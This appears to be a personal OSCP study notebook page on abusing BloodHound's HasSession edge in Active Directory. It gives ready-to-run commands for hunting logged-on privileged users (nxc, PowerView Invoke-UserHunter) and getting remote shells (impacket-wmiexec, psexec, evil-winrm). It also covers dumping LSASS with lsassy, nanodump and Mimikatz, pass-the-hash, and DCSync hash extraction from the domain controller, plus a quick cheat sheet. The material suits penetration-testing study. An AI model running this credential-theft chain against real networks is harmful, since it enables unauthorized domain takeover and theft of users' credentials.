Pearson's OSCP Notebook

HasSession

Properties2
tagshassession, bloodhound, session-hunting, lateral-movement, ad-permissions, lsass
aliasesHasSession

3 min read

HasSession — BloodHound Edge Abuse

Ctrl+F: HasSession · session hunting · Invoke-UserHunter · loggedon-users

HasSession is a relationship edge, not a DACL right — BloodHound shows that a user has an active session logged on to a computer.

Privileged User (e.g. Domain Admin)
   │
HasSession
   ▼
Computer

Your first thought:

“Do I have local admin on that computer?” If yes → access the box and steal that user’s credentials from memory or disk.

Usually needs AdminTo (local admin on that computer) to exploit → LatMovement

📌 Read the path

PatternMeaning
DA → HasSession → WORKSTATIONDA logged into workstation — high value if you admin that host
Your user → HasSession → SERVERYour creds already on that box — pivot there
HasSession + AdminTo on same computerClassic cred-theft path
Owned User ──AdminTo──► Computer ◄──HasSession── Domain Admin

“Get on the computer → dump LSASS / extract tickets → become DA.”

📌 Find sessions

BloodHound

MATCH (u:User)-[:HasSession]->(c:Computer) RETURN u.name, c.name

From shell / Kali

# Who is logged on (per host)
nxc smb TARGET -u user -p 'PASS' --loggedon-users
nxc smb 10.10.10.0/24 -u user -p 'PASS' --loggedon-users
 
# Active sessions
nxc smb TARGET -u user -p 'PASS' --sessions
# PowerView — hunt DA / high-value sessions
Import-Module .\PowerView.ps1
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Stealth
Find-DomainUserLocation
Get-NetSession -ComputerName WORKSTATION01

→ PowerView > 📌 6) Sessions & Local Admin

📌 Execute — steal session creds

Prerequisite: Local admin on the computer with the session (AdminTo edge or equivalent).

1) Shell on target

impacket-wmiexec domain/user:'PASS'@WORKSTATION
impacket-psexec domain/user:'PASS'@WORKSTATION
evil-winrm -i WORKSTATION -u user -p 'PASS'
nxc smb WORKSTATION -u user -p 'PASS' -x whoami

→ Impacket · evil-winrm · LatMovement

2) Dump LSASS (get logged-on user’s hash/tickets)

# Remote LSASS (admin on host)
nxc smb WORKSTATION -u admin -p 'PASS' -M lsassy
nxc smb WORKSTATION -u admin -p 'PASS' -M nanodump
 
# On-box Mimikatz (if shell)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets

→ LSASS · Mimikatz · pypykatz (offline parse)

3) Use stolen creds

nxc smb DC_IP -u Administrator -H STOLEN_NTHASH
impacket-secretsdump domain/Administrator@DC_IP -hashes ':HASH' -just-dc-ntlm   # if now DA

→ Credential Graph · Hashcat if NTLMv2 from Responder instead

📌 vs other edges

EdgeTypeAbuse
HasSessionSession relationshipCred theft on host where user is logged in
AdminToLocal adminRequired to exploit HasSession — LatMovement
DCSyncReplication rightDump all domain hashes from DC — no session needed
ForceChangePasswordACLReset password remotely — no session needed

📌 Quick cheat sheet

nxc smb TARGET -u user -p 'PASS' --loggedon-users
impacket-wmiexec domain/user:'PASS'@WORKSTATION
nxc smb WORKSTATION -u admin -p 'PASS' -M lsassy
Invoke-UserHunter -CheckAccess
Get-NetSession -ComputerName WORKSTATION01

Graph View

Backlinks